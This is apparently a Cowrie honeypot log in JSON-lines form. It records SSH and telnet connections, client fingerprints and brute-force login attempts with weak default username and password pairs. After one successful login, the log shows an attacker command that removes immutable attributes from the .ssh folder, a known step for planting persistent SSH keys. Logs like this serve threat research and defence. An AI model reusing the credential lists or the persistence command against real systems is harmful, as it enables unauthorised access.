"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:22.954098Z","src_ip":"103.146.202.174","session":"37d843bc14b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2017","message":"login attempt [admin/Server2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:23.979256Z","src_ip":"103.146.202.174","session":"37d843bc14b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:25.232288Z","src_ip":"103.146.202.174","session":"37d843bc14b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":53848,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8b6b6ecde52","protocol":"telnet","message":"New connection: 20.123.41.163:53848 (10.17.0.5:23) [session: c8b6b6ecde52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:42.456258Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":43430,"dst_ip":"10.17.0.5","dst_port":22,"session":"884fccbb8b3f","protocol":"ssh","message":"New connection: 103.106.188.32:43430 (10.17.0.5:22) [session: 884fccbb8b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:51.410490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:51.419106Z","src_ip":"103.106.188.32","session":"884fccbb8b3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:51.624211Z","src_ip":"103.106.188.32","session":"884fccbb8b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test23","message":"login attempt [admin/test23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:52.656949Z","src_ip":"103.106.188.32","session":"884fccbb8b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:53.912177Z","src_ip":"103.106.188.32","session":"884fccbb8b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.80409836769104,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:57.381149Z","src_ip":"20.123.41.163","session":"d88284b39c06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.06402540206909,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:18.520189Z","src_ip":"20.123.41.163","session":"c8b6b6ecde52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":49822,"dst_ip":"10.17.0.5","dst_port":23,"session":"c002b784a764","protocol":"telnet","message":"New connection: 20.123.41.163:49822 (10.17.0.5:23) [session: c002b784a764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:21.341429Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":43514,"dst_ip":"10.17.0.5","dst_port":22,"session":"013fe27ba55c","protocol":"ssh","message":"New connection: 103.146.202.174:43514 (10.17.0.5:22) [session: 013fe27ba55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:24.072781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:24.079538Z","src_ip":"103.146.202.174","session":"013fe27ba55c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:24.325651Z","src_ip":"103.146.202.174","session":"013fe27ba55c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test@123","message":"login attempt [admin/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:25.329885Z","src_ip":"103.146.202.174","session":"013fe27ba55c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:26.577364Z","src_ip":"103.146.202.174","session":"013fe27ba55c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":49080,"dst_ip":"10.17.0.5","dst_port":23,"session":"58c60cbd0987","protocol":"telnet","message":"New connection: 20.123.41.163:49080 (10.17.0.5:23) [session: 58c60cbd0987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:29.555009Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.195.62.42","src_port":58237,"dst_ip":"159.203.135.109","dst_port":23,"session":"34cbd07eb352","protocol":"telnet","message":"New connection: 123.195.62.42:58237 (159.203.135.109:23) [session: 34cbd07eb352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:43.768544Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":59970,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a2974f1bc8b","protocol":"ssh","message":"New connection: 103.106.188.32:59970 (10.17.0.5:22) [session: 1a2974f1bc8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:48.853317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:48.858178Z","src_ip":"103.106.188.32","session":"1a2974f1bc8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:49.115666Z","src_ip":"103.106.188.32","session":"1a2974f1bc8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test@123","message":"login attempt [admin/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:50.316054Z","src_ip":"103.106.188.32","session":"1a2974f1bc8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":42972,"dst_ip":"10.17.0.5","dst_port":22,"session":"230926547ab3","protocol":"ssh","message":"New connection: 209.99.189.177:42972 (10.17.0.5:22) [session: 230926547ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:50.840629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:50.845644Z","src_ip":"209.99.189.177","session":"230926547ab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:50.977527Z","src_ip":"209.99.189.177","session":"230926547ab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"password","message":"login attempt [ftpuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:51.536407Z","src_ip":"209.99.189.177","session":"230926547ab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:51.617800Z","src_ip":"103.106.188.32","session":"1a2974f1bc8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:47:52.670947Z","src_ip":"209.99.189.177","session":"230926547ab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.673637628555298,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:00.442060Z","src_ip":"123.195.62.42","session":"34cbd07eb352","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00746130943298,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:12.923762Z","src_ip":"37.52.61.49","session":"2eef2ad74d12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0022840499878,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:14.738126Z","src_ip":"37.52.61.49","session":"c03f6e6ed03a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":42970,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3f4dc7fd20a","protocol":"telnet","message":"New connection: 37.52.61.49:42970 (159.203.135.109:23) [session: a3f4dc7fd20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:15.438054Z"}
{"eventid":"cowrie.session.closed","duration":56.189186573028564,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:17.530486Z","src_ip":"20.123.41.163","session":"c002b784a764","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":60258,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd209bddbb7c","protocol":"ssh","message":"New connection: 103.146.202.174:60258 (10.17.0.5:22) [session: fd209bddbb7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:23.927910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:23.933133Z","src_ip":"103.146.202.174","session":"fd209bddbb7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.548835039138794,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:24.103749Z","src_ip":"20.123.41.163","session":"58c60cbd0987","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:24.186285Z","src_ip":"103.146.202.174","session":"fd209bddbb7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"digital","password":"digital@123","message":"login attempt [digital/digital@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:25.230028Z","src_ip":"103.146.202.174","session":"fd209bddbb7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.35.217","src_port":48840,"dst_ip":"159.203.135.109","dst_port":23,"session":"69446cf1f920","protocol":"telnet","message":"New connection: 160.119.35.217:48840 (159.203.135.109:23) [session: 69446cf1f920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:25.584980Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":60846,"dst_ip":"10.17.0.5","dst_port":22,"session":"041a66c8fa32","protocol":"ssh","message":"New connection: 109.91.4.177:60846 (10.17.0.5:22) [session: 041a66c8fa32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:26.432501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:26.441182Z","src_ip":"109.91.4.177","session":"041a66c8fa32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:26.486615Z","src_ip":"103.146.202.174","session":"fd209bddbb7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:26.560817Z","src_ip":"109.91.4.177","session":"041a66c8fa32","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1234567","message":"login attempt [steam/1234567] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:27.372954Z","src_ip":"109.91.4.177","session":"041a66c8fa32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:27.621588Z","src_ip":"109.91.4.177","session":"041a66c8fa32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:27.624977Z","src_ip":"109.91.4.177","session":"041a66c8fa32","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:27.627512Z","src_ip":"109.91.4.177","session":"041a66c8fa32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:27.740748Z","src_ip":"109.91.4.177","session":"041a66c8fa32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:28.001023Z","src_ip":"109.91.4.177","session":"041a66c8fa32","protocol":"ssh"}
